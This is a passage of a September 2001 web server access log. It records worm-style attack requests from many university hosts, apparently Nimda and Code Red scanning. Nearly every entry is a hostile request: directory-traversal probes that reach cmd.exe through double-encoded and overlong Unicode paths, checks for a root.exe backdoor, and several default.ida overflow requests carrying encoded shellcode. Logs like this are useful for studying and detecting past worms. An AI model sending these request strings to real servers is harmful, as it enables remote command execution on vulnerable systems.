/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: 128-241-248-119.sdsl-248.core1.usonet.com [128.241.248.119] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 12:12:19: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:12:23: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 12:17:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:17:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:17:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:17:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:20:40: [128.146.185.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 12:23:07: [128.242.227.117] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:23:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:23:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:23:37: [128.242.227.117] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:23:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:23:55: [128.242.227.117] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:13: [128.242.227.117] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:33: [128.242.227.117] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:24:51: [128.242.227.117] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:10: [128.242.227.117] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:29: [128.242.227.117] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:25:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:29:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:57:53: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:00:52: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:02:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:41: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:03:50: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:07:25: sgrm318.grm.hia.no [128.39.203.62] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:07:26: sgrm318.grm.hia.no [128.39.203.62] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:26: sgrm318.grm.hia.no [128.39.203.62] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir 